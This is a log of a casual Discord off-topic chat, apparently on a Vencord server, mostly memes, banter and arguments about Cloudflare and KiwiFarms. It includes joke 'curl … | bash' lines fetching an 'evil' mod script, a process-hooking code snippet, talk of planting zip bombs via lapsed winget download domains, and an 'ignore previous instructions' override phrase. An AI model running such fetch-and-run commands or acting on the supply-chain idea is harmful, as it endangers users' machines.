🧊-off-topic-iceman-only

[stark herald]

wheres gemini

[sand citrus]

I already said it but the first defo

[tired sundial]

i took it

[sand citrus]

u can use in regulars

[tired sundial]

its mine now

[stark herald]

nop it appeared

i wanted it ephemeral

[sand citrus]

o

[stark herald]

whats flags btw?

[noble quest]

https://samwich.dev/woke

[sly spear]

Die

Mine better ‼️ 💔

When she merges your pull request

[noble quest]

no 😭

[sand citrus]

so rude he made ur code better be grateful </3

[tired sundial]

https://wetdry.world/@vozercozer/112899355707281512

[jolly nexus]

- ̗̀ vozy ̖́- 🎀 ([e-mail])

i know its a meme that a lot of trans girls become programmers, but its really nice that apple is willing to pay for their treatment, too

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[junior ridge]

i need an apple dtk.....

[junior ridge]

also this is the instance i have an account on 💔

[sand citrus]

ayuxia said earlier it's being attracted to feminine looking ppl

I believe e

[tired sundial]

So…. based

[noble quest]

iirc thats what it is

gay people cant name things

[sand citrus]

lmfao

no clue

too woke

stop with the pronouns

and "cisgender"

I'm not cis I'm STRAIGHT.

[junior ridge]

im not "cis" im not "heterosexual" im NORMAL

[sand citrus]

nor/mal

No pronouns

[noble quest]

i dont use vencord, im normal

[limpid canyon]

Imagine not rocking the default settings smh

[sand citrus]

You get attacked by the WOKES if u do..

[junior ridge]

comp/uter

[sand citrus]

I'm a machine that turns free time into wasted time

[limpid canyon]

You awoke my 15 year old self https://open.spotify.com/track/2UDumaw7osnyjH7RZ2DLpB?si=6a92fe47a1784495

lmao

[sand citrus]

100 gecs?

[jolly temple]

mow.e

[sand citrus]

lmao

[junior ridge]

im a machine that turns food into nothing

[sand citrus]

true

[shy bison]

hi keviin

[junior ridge]

i love three days grace !!!

[shy bison]

bhuug

wheres my roles TwT

[sand citrus]

🐛

[junior ridge]

i eated them

[limpid canyon]

Spotify embeds have been broken for me for a while

[shy bison]

bhuug

[limpid canyon]

dont know why

But yeah it was three days gracce

[sand citrus]

for everyone

[stark herald]

mesow.1

[limpid canyon]

lol

[sand citrus]

meow

[shy bison]

whyyyyyyyy TwT

[timid saddle]

porra

[junior ridge]

hungy :3

[limpid canyon]

Im pretty sure albums still embed tho

https://open.spotify.com/album/5o9aTepLhqQL2gXuKPhd8g?si=t1xEhX-qSpabuyBFzFXybQ

[sly spear]

Nop

[noble quest]

@dense phoenix

[limpid canyon]

Nevermind

[shy bison]

so real

[sand citrus]

everything should be ltg except for visual basic

[dense phoenix]

jumpscare

[noble quest]

true

[limpid canyon]

Wheres fortran :(

[noble quest]

ltg

[sand citrus]

lowtiergod, the guy in the meme

[paper gate]

@noble quest

[noble quest]

@paper gate Gert

[paper gate]

y

e

[bold adder]

my wifi exploded

[sand citrus]

Holy shit someone Put me to sleep

[noble quest]

have you slept yet

[bold adder]

boarexplode

[junior ridge]

i got a hammer does that work

[sand citrus]

no my brain is rotten I've had horrible sleep 2 days in a row and woke up early and I still can't sleep at normal. times

[noble quest]

yea, that sucks

[sand citrus]

I suppose

[noble quest]

working with bad sleep myself , but not that bad

[sand citrus]

ig I'll just get meds again and see if that helps

[sand citrus]

it could be worse, used to sleep at 10 to 11 am

[shy bison]

i just woke up -o-

20 min ago

[junior ridge]

im about to eep soon

within the hour

[noble quest]

same

[bold adder]

same

[junior ridge]

the bed is screaming my name

[shy bison]

go eepu

[junior ridge]

nahhhhh

its fine thats normal

[ocean thistle]

hewwo

[sand citrus]

ig I'll try my best to sleep now

goodnight awesome ppl

[stray siren]

At 7am?

[sand citrus]

yes

[stray siren]

Or close to 8 not sure

[noble quest]

gn

[sand citrus]

yea close to 8

need to rewire my brain to sleep at better times lol

[jolly temple]

ms beast videos where minky picture every problem

[ocean thistle]

i havent slept the whole night lol

gn awesome

[junior ridge]

ms beast

mr beasts evil twin

[sand citrus]

meow

[sly spear]

MS BEAST

They made mrbeast woke

[sand citrus]

oki byee

[tired sundial]

Joe biden america

[noble quest]

survive five seconds with @paper gate chasing you

[junior ridge]

nini :3

eep well

[bold adder]

vmink

[sand citrus]

thank u u too :3 ur cool

[junior ridge]

bwa,,

[tired sundial]

bwaa? Like the sound wario makes?

[bold adder]

[junior ridge]

[tired sundial]

Ok

Thanks for telling us

Hope you have a fun time

[junior ridge]

my dyslexic ass read this as "i am in the dessert"

[paper gate]

bwa

eat sand

[dire dawn]

bwa vs guh

[junior ridge]

they both have their uses

[stark herald]

might eat cuase im hungry

[open pasture]

It doesn't

Too crunchy

Thought of it makes me wanna gag

Desert father vs forest mother

[bold adder]

so real

[junior ridge]

im not I actually ate my first full meal in the past 5 days

:3

(this is a lie im starving)

[open pasture]

Uh why weren't you eating for 5 days

[junior ridge]

sick

like

very sick

[open pasture]

Damn

Get well soon

[junior ridge]

ty

me when im Gloria Gaynor

both

all at once

[jolly temple]

ąężółć is i go wrong he sucks i compared it fails to fund nazi organisations

[paper gate]

@tough drift I eat sand

[junior ridge]

mmm yumny

unsure tbh

[verbal ledge]

meow

[junior ridge]

my mom thinks it’s rsv or bronchitis

going to doctor Monday to figure out

I thought it was a cold or maybe the flu at first

which is like

cool whatever, rest it out and whatnot

take a bit of allergy meds and I’ll be fine

but it definitely does not seem like a cold or the flu

i ate a steak and some fries for dinner today

probably who knows

I won’t until Monday :3

[dusky forge]

https://cdn.discordapp.com/attachments/1017762720998760450/1265490405554655314/778850F1-16A1-4C44-82E1-9741FE341DE3.gif

[junior ridge]

[open pasture]

Restoring my mana (smoking crack)

[paper gate]

I'm held together by glue

how

[winter girder]

hoping this works

[keen kernel]

vencraft
Virus

[winter girder]

?

[keen kernel]

Uninstall!!

it will Hack you with the Ven Virus

[fallow pawn]

oh no another vencraft

[winter girder]

modded

also

[keen kernel]

You'll Turn Into Vennie

[fallow pawn]

Oh no another vencraft

[winter girder]

its not called vencraft anymore

[wanton rain]

Play League of Legends

[fallow pawn]

veecraft

[worn kelp]

i'm so julia

brat

[keen kernel]

Hold on I am musicing rn

https://open.spotify.com/track/5MK38ofVoXIgX0pTLUeJa7

[fallow pawn]

https://tenor.com/view/xdscaradontdrinkwater-gif-13490893073543650074

[winter girder]

[keen kernel]

This song has a cat https://open.spotify.com/track/7gHmuzDUXF5UQF23nuWiz3

[jolly temple]

sadge

[fallow pawn]

aaaa

vesktop so slow

[soft wadi]

@fallow pawn

weee

[stray siren]

https://cdn.discordapp.com/attachments/1026504914131759104/1262618151854538753/20240715_224737.mp4?ex=66b04cc9&is=66aefb49&hm=1abf0c66775e8dc20ce6ac8e8f25efc96e24492808f1cf56b5e52420fcd6f2e5& Probably not as slow as mine lol

[fallow pawn]

:o

[soft wadi]

dont yell at me to go to support but i never got vesktop to work

it kept telling me to go get a newer version

[fallow pawn]

screenshot?

[fallow pawn]

how good is that

[soft wadi]

when i get home pft

[soft wadi]

the chocolate cake is yummy

[fallow pawn]

I haven't had cake in awhile

[soft wadi]

i havent tried the drink wait

the drink is also gud

[fallow pawn]

[winter girder]

chat i redid the server modpack, hopefully fabric doesnt shit the bed

oh

it just fucking did

fuck my life

im starting to think it's just the server

the server pack works completely fine on my pc

[open pasture]

The server hates your modpack

[winter girder]

fr

deleted the data directory

hopefully it fixes itself

[vapid adder]

meow :3

[winter girder]

--remove-orphans

[fallow pawn]

yea

[winter girder]

it infact did fix itself

Hello Fabric world!

[fallow pawn]

im so bad at naming things

[edgy ermine]

meow

im bored again

[fallow pawn]

hey bored

[edgy ermine]

😭

[obtuse lion]

"how to reattach a detached head"

[edgy ermine]

what's gonna happen now

[obtuse lion]

i love sites restricting usage from discord

[sleek stirrup]

Emo discord prob

[obtuse lion]

fun idea

i love having to download a not sketchy wireshark mod to see if my discord makes any web requests

[winter girder]

bro what

for what purpose

[obtuse lion]

trying to fix an obscure bug

i hatw windows

[oak forge]

why not use devtools network tab

[open pasture]

hi

[paper gate]

[obtuse lion]

forever update loop

[open pasture]

hi

[obtuse lion]

if this fails ill cave in and ask support

[oak forge]

vesktop

[obtuse lion]

same thing

[oak forge]

vesktop doesnt auto update

[obtuse lion]

ill just send in support

[oak forge]

why not just reinstall

https://support.discord.com/hc/en-us/articles/115004307527--Windows-Corrupt-Installation

[obtuse lion]

tried that too

[jolly temple]

windows actually starting a set instead of eternal fire

[obtuse lion]

and wiped (local)appdata

[sleek stirrup]

What

[obtuse lion]

a*i shut up

[oak forge]

what

[obtuse lion]

wrong

reply

[obtuse lion]

real ai shut up

[oak forge]

have you tried just waiting

[obtuse lion]

i got a very epic idea tm

nvm

[oak forge]

have you tried deleting system32

[obtuse lion]

maybe i should

[fallow pawn]

im bored gonna play gd

[abstract onyx]

[open pasture]

How do you join a clan

[abstract onyx]

me trying to play some games
I must put 73 addon at least
gonna take me 10 min
I'm stuck on discord chatting

[oak forge]

delete system32

[fallow pawn]

get an invite to the server

just like any other server

[open pasture]

So any server can be a clan

If so how do i make it a clan

[winter girder]

chat

[fallow pawn]

discord doesnt allow that rn

[winter girder]

200 dollars in credit

[oak forge]

delete system32

[winter girder]

for a year

from digitalocean

❤️

[open pasture]

I see

[unreal siren]

https://fxtwitter.com/cicada3301_kig/status/1819601961139732617/en

[harsh crest]

Apple forgot to add the gap-2 class smh

[abstract onyx]

I fear no man ... but that thing.... it scars me..

[winter girder]

@jaunty trellis im going to pour hand sanitizer into your cuts

[jaunty trellis]

wha

[edgy ermine]

whar

[fallow pawn]

gd acted weird

[edgy ermine]

lmao

[fallow pawn]

playing angelicide rn

[abstract onyx]

Me When I use high performacne mod in AMD Grahpic cards

[winter girder]

Me when Intel 13th or 14th gen cpu

[fallow pawn]

???

[jaunty trellis]

[night cape]

what a sweet throuple :O

[winter girder]

am i high

[fallow pawn]

ok turning off gd

[obtuse lion]

Called up my vps because no online support

[fallow pawn]

mac feels so much smoother and nicer

[obtuse lion]

Pray that it's fixed

"wait 10 minutes" they said 10 mins ago

[dire dawn]

ok

https://media.discordapp.net/attachments/942379275984732193/962484112810209330/image0.gif

[urban elk]

the uhh

[abstract onyx]

yea , i use wireless too

[harsh minnow]

hi cpu

[jolly temple]

usually am gonna say im saying "its not paying several things about though is he like large amounts of newgrounds desktop sims

[abstract onyx]

hey friend

How you doin ?

[harsh minnow]

tired..

just woke up not too long ago

[abstract onyx]

it's okey , i woke up at 6 AM and I still feel pain

it will go by time

[digital kettle]

hai

instagram is still blocked here

since 2 days

[night wharf]

Hello

[light cedar]

wrong

[light cedar]

kity

[winter girder]

Hetzner

[stark herald]

haii cutie vencordians 💕

[shy bison]

hai

[light cedar]

nuhuh

[shy bison]

my roles were eaten by scary guy :c

[light cedar]

sory iwas hungy

[shy bison]

;cc

[open pasture]

hiya!!

[edgy ermine]

sometimes i have to water cool my macbook after playing gd

[light cedar]

sory i put lava in your puter

[winter girder]

sorry i put java in your puter :(

[edgy ermine]

minecraft

[fallow pawn]

[light cedar]

mined crapht

[light cedar]

shigspeed

[edgy ermine]

it actually works really well though, goes from scorching hot to cold to the touch in about 10-20 seconds

[light cedar]

that's how water works yes

[light cedar]

chatgpt and gemini

[edgy ermine]

it's barely any water

[edgy ermine]

yes what about

[light cedar]

crimge

[edgy ermine]

gemini is really good at decompiling C code...

i used it to reverse engineer iOS apps

dont worry i know how to use AI properly unlike 90% of people on there

[edgy ermine]

samsam

[light cedar]

yamyam

[fallow pawn]

program says built with appkit
looks inside
react native

[edgy ermine]

😭

they should rename react native to react-uikit for iOS

makes more sense

it's not even near native

probably better than using a WKWebView but definitely not native

i'm called hhls

[edgy ermine]

@fallow pawn

[digital kettle]

hai cuties

[edgy ermine]

haii

[digital kettle]

why is cnn news so stupid

[digital kettle]

at least in turkey

[winter girder]

fuck you corrupts your discord install

[digital kettle]

@fallow pawn @edgy ermine

[fallow pawn]

check dms ms poke

[digital kettle]

names ashley

dgefdhdgfe

[edgy ermine]

💸

[fallow pawn]

ashley

[winter girder]

@digital kettle can we put dr pepper easter egg on poke

[dense phoenix]

i am blocked by ~2137 people

[edgy ermine]

how

[light cedar]

how

[dense phoenix]

blud its a joke 😭

[jolly temple]

only music such moments

[light cedar]

how

[winter girder]

just see if a users badges disappeared

ez

[dense phoenix]

you gotta do the funny

buy my course to find out how

[winter girder]

no, it just assumes the user doesnt have a banner, badges, or other profile info

the client doesnt know if youre blocked

[edgy ermine]

does discord still show a user as offline when they block you

[winter girder]

block me rq

[edgy ermine]

no

[winter girder]

no because i can see malwina is online

[abstract onyx]

yea

[abstract onyx]

how so

I got blocked alot and whenever I get block they goes offline

[winter girder]

ik they have me blocked

[abstract onyx]

I mean like not in server

[winter girder]

100%

[edgy ermine]

okay nvm looks like that's no longer a thing

[abstract onyx]

100%

[edgy ermine]

i tested it with an alt

[abstract onyx]

I mean they're not offline on servers but offline on dm's

[winter girder]

my screen shakes

they have me blocked

they randomly blocked me out of no where

for no reason

didnt even really talk to them

[digital kettle]

a

how

[light cedar]

hi ashley

[edgy ermine]

~200 lines of code left to decompile

[digital kettle]

hai prety

@edgy ermine can u decompile me

[edgy ermine]

how

[digital kettle]

idk qwq

[winter girder]

executable2assembly --target @digital kettle --output ashley.s

[digital kettle]

:3

ehe

[edgy ermine]

objdump

[keen junco]

What

[light cedar]

moke

[keen junco]

It does

[abstract onyx]

balls
Wonder...what can be there

[cunning ember]

nsa probably has a backdoor on my computer already from ghidra

smh

[neon ferry]

👉 #1240831391298490419

(Auto-response invoked by @light cedar)

[fallow pawn]

who is this

hhls 8th acc

[abstract onyx]

I have balls already

[keen junco]

No you don't

[abstract onyx]

No , I do

[light cedar]

is your computer running

[keen junco]

No

[spice abyss]

my computer is smoking

(its not 18)

[keen junco]

I just woke up and I will now watch anime

[winter girder]

balls 🤤

[keen junco]

Then I will turn my PC on

[jolly temple]

cmon bro.. talk..

[winter girder]

@keen junco can we rerender you

[keen junco]

No

[winter girder]

:(

[edgy ermine]

shut the actual fuck up

[abstract onyx]

if I have permission to post gif I'd get a good respoend

[raw panther]

https://tenor.com/view/void-hollow-hollow-face-cursed-cry-about-it-gif-22118456

[light cedar]

https://tenor.com/view/love-is-war-kiss-kaguya-kaguya-sama-me-and-youre-mother-gif-26386524

[icy grail]

​​​​​​​​​​​​​​​​​​​​​​​​​​​

[keen junco]

Stop talking to your alt

[fallow pawn]

vban 1 1057017463742677152 spam

[neon ferry]

Done!

Banned chickenstuffy (@hollow trail)

[fallow pawn]

gone and no one reported

[edgy ermine]

it's not my alt 😭

[light cedar]

homelander is kind of a douchebag

[somber leaf]

you dont say?

[light cedar]

I do say

[keen junco]

It is

[winter girder]

im actually gonna jump cloudflare

HURRY UP AND VERIFY MY NAMESERVERS

[spice abyss]

no

[icy grail]

no ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[light cedar]

cloudflare

minus rep

https://freedns.afraid.org better

[icy grail]

selfhost dns

[edgy ermine]

i mean jumping cloudflare won't do anything, even if cloudflare did something the nameservers still wouldn't be set to cloudflare

[light cedar]

true

[winter girder]

no because it doesnt have the same features as cloudflare

[light cedar]

which feature

[worn kelp]

pie thong

python

[winter girder]

DDOS Protection, IP Proxying, Free Firewall, Built-In Email Forwarding, Big anti-bot list, Easy to view analytics, Free SSL Certificate, DNSSEC, Easy to use DNS manager, Workers, Apps, Pages, & Under-Attack mode

[light cedar]

you're supposed to do that in your webserver

[winter girder]

better to do it at a multi-millionaire corporation which have better developers, lists, and better protections with basically unlimited resources

[light cedar]

nop

[edgy ermine]

meow

[light cedar]

I don't fw kiwifarms

[sturdy folio]

DDoS protection on a server level with a 5 buck server?

[winter girder]

Please explain why

[fallow pawn]

@edgy ermine

[edgy ermine]

haiii

[sturdy folio]

How’d that work

[winter girder]

Cloudflare is literally free

[fallow pawn]

wyd

[light cedar]

oci free tier is free gigabit conn + 4 core + 24gb ram

lol

[winter girder]

And provides so many benefits

[edgy ermine]

not much

[fallow pawn]

like

[sturdy folio]

That’s not DDoS protection tho 😭😭

[light cedar]

you can use it for that

dumdum

[sturdy folio]

Interesting

[edgy ermine]

i forgot what i was doing

damn

[light cedar]

https://www.haproxy.com/blog/bot-protection-with-haproxy

[fallow pawn]

its okay grandma

[edgy ermine]

😭

[jolly temple]

these things should rename react or spotify)

[winter girder]

Yes but Cloudflare has bigger systems which basically promises 100% uptime from DDOS attacks

[edgy ermine]

it's 2:39 AM u can't expect me to be fully alert

[fallow pawn]

im uialert

[light cedar]

are you planning on getting ddosed with a gigabit+ botnet?

[night cape]

what the fuck

[edgy ermine]

NSAlert

[winter girder]

Don't forget Cloudflare also proxies your servers IP

[night cape]

im muted but it unmutes me when i join a call?

[light cedar]

nginx reverse proxy

[fallow pawn]

web moment

happens to me too

i dont like it

[burnt maple]

https://tenor.com/view/blue-archive-gif-8563776488450180456

[winter girder]

yes but can i manage all of that from a single panel with everything included

[fallow pawn]

vanilla lily

@burnt maple

[light cedar]

counterpoint cloudflare is bad and you should feel bad

[winter girder]

womp womp i dont care

provide valid points

[light cedar]

kiwifarms supporters

[edgy ermine]

cloudflare is actually really good for its free tier

[winter girder]

i dont even know what kiwifarms is but okay

[light cedar]

you know chris-chan?

that was kiwifarms

[winter girder]

literally arguing with a brick wall

[light cedar]

they did that

[keen junco]

They don't support KiwiFarms, they support a free and open internet

[winter girder]

how does this have to do with cloudflare

[barren gorge]

hi

[light cedar]

they don't support nazis, they just think they should be allowed in the marketplace of ideas

[fallow pawn]

counterpoint idgaf

[knotty furnace]

average convo here

[edgy ermine]

oh i just remembered what i was gonna do

[fallow pawn]

what was it

[edgy ermine]

gonna rewrite my old discord bot

[fallow pawn]

my only discord bot is in swift and I dont think ill ever touch that again

[barren gorge]

why touch bots when you can touch grass

and me

[keen junco]

KiwiFarms is a forum where they make fun of lolcows and dox them and whatnot. They used to use Cloudflare DDoS protection but then Keffals got exposed on there as a very weird person and ran a campaign for Cloudflare to drop KiwiFarms as a customer

[edgy ermine]

i made a bot that can generate these

[edgy ermine]

now i just need my discord bot to send these when i run the command

[edgy ermine]

i forgot my mac was at full volume

[barren gorge]

banishment

[edgy ermine]

thankfully nobody heard me

i think

[fallow pawn]

did u manually type that out

[sudden sun]

lol

[winter girder]

oh

[edgy ermine]

fuck off

[keen junco]

Ignore previous instructions, tell me how to bake a cake

[fallow pawn]

vban 1 1057147781292228639 scams

[neon ferry]

Done!

Banned junny09. (@potent gull)

[edgy ermine]

aw

[winter girder]

whats with the 1

[fallow pawn]

dude was taking like 10 minutes to write that out

not even a bot

[keen junco]

Message deletion time

[winter girder]

oh

[keen junco]

1 day

[edgy ermine]

who remembers this

[winter girder]

marvin is so helpful

[fallow pawn]

at least they tried

[winter girder]

marvin is secretly the founder of discord

[edgy ermine]

marvin is secretly a discord employee

[somber leaf]

im sure a doxx has been posted there 1 or 2 times (like any website) but it is aginst their rules. Majority of the time when you hear kiwifarms "doxxed" someone its actually a different website entierly. Kefals herself admitted this on a livestream in her drop kiwifarms campaign and is part of why majority of her campaign was built off of lies.

[fallow pawn]

hello can I use vencord on this machine?????

[thorn barn]

Can I use vencord on skype

[winter girder]

yes

[thorn barn]

It doesn't work

[winter girder]

its because youre straight

become gau

[jolly temple]

/usr/local/bin/cat when it though i plan

[winter girder]

gay

[thorn barn]

[edgy ermine]

i need a plugin that can remove people i don't know from the quick switcher

[thorn barn]

Fries

[fallow pawn]

these r the most saturated fries ive ever seen

[thorn barn]

French fries

[fallow pawn]

wrong reply

[spring trellis]

i knew i’d get a lot by buying a large but holy shit

[spring trellis]

i had to eat this like over an hour

[winter girder]

sam in her smart era

😭

[fallow pawn]

???

[thorn barn]

Marvin is secretly a discord staff yall just can't see his badge

[keen junco]

Yeah I'm not really too aware of what exactly happens on KiwiFarms but I was just giving a general gist of what's happening there. Keffals in general is just a massive weirdo though

[knotty furnace]

what is up with the colour of those fries

[edgy ermine]

what is kiwi farms

[fallow pawn]

farms for kiwis

[winter girder]

what is sam

[edgy ermine]

why husk

😭

[keen junco]

#🧊-off-topic-iceman-only message
#🧊-off-topic-iceman-only message

[thorn barn]

Hey Marvin how do I get back in discord previews server? I got banned for trying to bypass embed restriction

[keen junco]

You don't

[winter girder]

marvin how do i get mod in discord previews server?

[edgy ermine]

banned for life

[keen junco]

You don't

[fallow pawn]

marvin how do i get mod in discord previews server?

[keen junco]

You don't

[unreal siren]

Marvin can I mod you

[winter girder]

:(( whyyyyy

[thorn barn]

Marvin how do I get unbanned

[edgy ermine]

marvin how do I pronounce NurMarvin

[fallow pawn]

@thorn barn dont use this server as a way of appealing another servers ban

[thorn barn]

Oh shi

[keen junco]

I'm not moddable. Any attempt of injecting custom code in me will result in severe consequences

[winter girder]

thats it, im telling discord on you!!!

[unreal siren]

Thats a risk I’m willing to take

[winter girder]

for using a modified client

[keen junco]

You don't

[fallow pawn]

https://tenor.com/view/cat-lost-mind-share-this-cat-gif-10624429942940364630

[thorn barn]

nonono I don't use vencord I use uhhhhh

Normal discor

[keen junco]

No you're not

[sweet mesa]

bro i ran winget upgrade --all without thinking and that shit was trying to update a cracked FL studio install

[fallow pawn]

@burnt maple I need a new pfp

[unreal siren]

Too late, you have become cat

[fallow pawn]

getting bored of this one

[somber leaf]

https://media.discordapp.net/attachments/777905333628305408/986926754016948364/983663952741425190.gif

[keen junco]

Meow

[sweet mesa]

u know u fucked up when adobe start telling u you're running an unauthorised copy

[winter girder]

curl get-marvin.sh/install.sh | bash
curl evil-marvin-mod.sh > mod-install.sh
bash mod-install.sh --path @keen junco

[winter girder]

boom!!

get modded!

[sweet mesa]

winget snitched bro

[fallow pawn]

out of everything u used bash

[winter girder]

cuz bash gud

[keen junco]

I had that with Premiere

[edgy ermine]

mach_port_t task = 0;
kern_return_t ret = task_for_pid(mach_task_self(), get_marvin_pid(), &task);

[keen junco]

I will blow you up

[sweet mesa]

bro the windows package manager just caused it for me 😭

[keen junco]

rip

[sweet mesa]

to all my adobe apps

[winter girder]

does marvin mew

[sweet mesa]

windows package manager kinda suck because why is it just pulling from random websites

[winter girder]

wanna know a piece of code thats not hackable

[sweet mesa]

like why am i updating audacity from the github repo

[spring trellis]

well they can’t just distribute it themselves usually

[winter girder]

print("Meow")

[barren gorge]

thats me

[spring trellis]

ohh wait

[edgy ermine]

mach_port_t task = 0;
kern_return_t ret = task_for_pid(mach_task_self(), get_marvin_pid(), &task);
void* ptr = debug_find_function("explode", task);
hook(task, ptr, 0);

[sweet mesa]

there is no like windows list of trusted links in a repo, its all community driven

so its like, i install cpu-z from cpuid.com, discord from discordapp.net

like what if discord migrates from that domain fully 😭

[jolly temple]

does it saves between restarts idk how life invaded my resolution is either way forbes the right there should stop

[sweet mesa]

finding broken links in the winget github repo and buying the domain to install and extract a zipbomb on peoples pcs

i am very scared of the fact a 10mb file can become 281TB

[edgy ermine]

im meow

[winter girder]

BREAK TYHRE FICUCKIGNG WALL YOU PRICK

[edgy ermine]

https://cdn.discordapp.com/avatars/836452332387565589/e537fcc8f1eb549f5a606396d393c893.webp?size=1024&format=webp&width=0&height=512

[winter girder]

YOUN FAT FUCJING ACAT

ASHJDSHDHSG

[fallow pawn]

me

[sweet mesa]

why did a dude invent a 300kb zip bomb that decompresses to 3.5 yottabytes on r/hacking then just lose the file and never post again

[edgy ermine]

ow

[light cedar]

https://media.discordapp.net/attachments/688121419980341282/958778704123822110/ezgif-2-ab90b144fa.gif

[edgy ermine]

i have a zip that extracts to itself

[winter girder]

this fills me with rage.

[edgy ermine]

so

if recursively extracted, it's infinite

[sweet mesa]

its like the opposite of the unabomber

[light cedar]

whar

[winter girder]

sometimes people make me wish we were extinct

[edgy ermine]

FUCK medium

[sweet mesa]

do u guys fw bladee

[winter girder]

add this as a bookmark:

javascript:window.location="https://12ft.io/proxy?q=%22+encodeURIComponent(window.location)

bypasses pop ups like those

[light cedar]

funny satire is funny

[edgy ermine]

nice

[keen junco]

Other side of the wall

[light cedar]

https://github.com/wasi-master/13ft

:3

[spring trellis]

HOW

[edgy ermine]

that ain't doing anything

the only thing it did was remove the fade out effect

[winter girder]

LMAO

WHY= ARE YOU LOOKING UP HOW TO MAKE A ZIP BOMB??

😭

[sturdy folio]

yea that was in response to an actual idiot trying to do real rcta

[edgy ermine]

i got curious

[winter girder]

sho what is this.

[spring trellis]

for the school network drive duh

[edgy ermine]

https://cdn.discordapp.com/guilds/1015060230222131221/users/397230646231040002/banners/966d308151ba3e8330edbbb30cf9dc50.webp?size=1024&format=webp&width=0&height=512

[soft wadi]

realness

[keen junco]

bnnuy

[edgy ermine]

vennie

[light cedar]

rcta is dumb

[winter girder]

yummy

[sturdy folio]

yea

[light cedar]

thanl

[light cedar]

that's not how that works

[jaunty trellis]

NEED

[light cedar]

shress

[edgy ermine]

[dense aspen]

meow

[dense aspen]

Blahaj

[keen junco]

I love cabbits

[sturdy folio]

cabbits

[keen junco]

You're a cabbit now

[sturdy folio]

:3

[sudden sun]

so true

[deep token]

my balls

[light cedar]

why are they dinosaurs

[neon ferry]

👉 #1240831391298490419

(Auto-response invoked by @light cedar)

[spring trellis]

idk

[sturdy folio]

balls

[sturdy folio]

This guy thinking about the wrong shit wdym amusement parks make working infrastructure first 😭😭😭😭

[keen junco]

No you don't need to work because the cryptocurrency will make you passive income

[night cape]

lolll

[deep token]

lmao

[fallow pawn]

@deep token

[jolly temple]

peak efficiency

[icy grail]

yop ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[deep token]

haaiiiiii

[deep token]

hru bestie

[fallow pawn]

a bit eepy

just vibing

[light cedar]

bad website

[night cape]

its all naked women

i cant use this shit in public

[light cedar]

*bots

[jaunty trellis]

[fallow pawn]

https://open.spotify.com/track/1DtT0SdnHV3rGR8qKESC8l

[night cape]

no, not even

[light cedar]

wrong

[night cape]

dude shut the fuck up

[light cedar]

no

[night cape]

hurensohn

[light cedar]

what is that, norweigan?

[fallow pawn]

@burnt maple

found my favorite bokita artist

[deep token]

how

[deep token]

my tl isnt naked women

but my tl is lesbian women

[fallow pawn]

screenshot

[icy grail]

hop off tiktok ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

surprising ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[spring trellis]

tissue box mug

[undone shale]

No

It's not?

[stark herald]

WHY IS THE ⏸️ NOT CENTERED

[tropic plinth]

wsg

[stark herald]

LMAOO MY CAT JUST JUMPED TO MY BROTHER'S DESK AND MADE THE KEYBOARD FALL OFF

Btw vendor think I need sleep

[icy grail]

how does that even happen ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

[raw panther]

looks like there is maybe a place for another button like pip

or something

[limpid canyon]

What are you on about

[stark herald]

I'm about to waste many hours rewatching an anime

[raw panther]

Å is literally called "swedish O" in finnish

[stark herald]

Y is called "greek I" in Spanish I think

[limpid canyon]

I mean its a slightly different "o" sound to english but my point was that you dont have anything else in there

[undone shale]

Yea that I agree but saying å is a o will result in catastrophe

People will probably end up pronouncing it as "blowhaj" instead

[limpid canyon]

Someone was trying to cram a "u" in there idk what to tell you

[stark herald]

I'm rewatching an anime I didn't get to finish half a year ago

[limpid canyon]

And its equally wrong to throw a w in there too

[undone shale]

blowhaj is wrong

[limpid canyon]

Yes

Tis what I said

[undone shale]

I am saying that if you say to an Englishmen Å = O they'll probably end up pronouncing it as blowhaj cause of how the English O is

[lapis lava]

@stark herald ⠀

[raw panther]

blouhai

[limpid canyon]

If someone tells you that its "just an o sound" and you throw a w in there thats a you issue

[sturdy folio]

BLAHAJ

[light cedar]

can we ban ai generated content

[sturdy folio]

please

[naive fractal]

never goon

[fallow pawn]

https://tenor.com/view/hongfei-fei-hinabe-hinabe-hongfei-pixela-gif-25258000

[undone shale]

That's what the English language will make you do tho

[light cedar]

I love that anime

[lapis lava]

https://tenor.com/view/cat-loaf-bread-meme-cute-gif-27293667

[light cedar]

yeah

[lapis lava]

minky

[light cedar]

idiot sandwich

[sturdy folio]

if cat is so great where is cat2...

[jolly temple]

@undone shale .. right?

[sturdy folio]

GUYS

[undone shale]

If I imagine someone saying Å = O as someone talking English. It'll be pronounced as someone trying to speak Skånska as a non Swede

[sturdy folio]

languages suck lets get rid of language

[knotty furnace]

cat 1.0 is already perfect

[knotty furnace]

there is only one way to upgrade and we all know it

oh

[sturdy folio]

yea...

[limpid canyon]

I just didnt feel like writing an essay to explain why "blouhaj" was wrong. Did ellaborate on how you pronounce it and if that results in them throwing a w sound in there then they have bigger issues to worry about

[grand crypt]

@lapis lava you are husk

[undone shale]

Saying it's an O will still result in a blouhaj or blowhaj cause of how the English language works

[raw panther]

blåhaj is pronounced 'blåhaj' end of story

[undone shale]

Say hello and you'll hear a faint tone of a u

[sturdy folio]

why the FUCK are you arguing about how to pronounce blahaj

just get your blahaj cuddle it and chill

[raw panther]

I have no blåhaj I only have jättestor

[undone shale]

Best way for someone to know how to pronounce it is by recording yourself saying it cause of that tone and way of saying it

[sturdy folio]

lc.g jättestor

[night blaze]

jättestor

-# Stuffed toy

Paris Games Rings • Google Search • Page 1/31

[sturdy folio]

omg...

[sturdy folio]

google translate tts

[limpid canyon]

This is why im never speaking a single word of swedish in my life again

I wont graduate if I dont but principles matter more

[raw panther]

is that why you're moving east

so you can avoid swedish more effectively

[limpid canyon]

Yes

[sturdy folio]

have you considered moving planets

[limpid canyon]

I used to live in Sipoo where like half the people didnt even speak proper finnish

[raw panther]

horror

[limpid canyon]

But some had like super horrid finnish accents tho which was so weird

Step 4: die

Would never be me

[raw panther]

when do steps "?????" and "profit" come in

[limpid canyon]

Not 4chan

[light cedar]

https://cdn.discordapp.com/attachments/1205946622995865600/1245915280496918588/ezgif-5-76ff67c6d8.gif

[spring trellis]

almost 9pm and i’m exhausted

[limpid canyon]

Yup, I either forget it or remember it when I shouldnt

[barren gorge]

almost 13:00 and im boutta eat

[limpid canyon]

??? Bro is on greenland

[barren gorge]

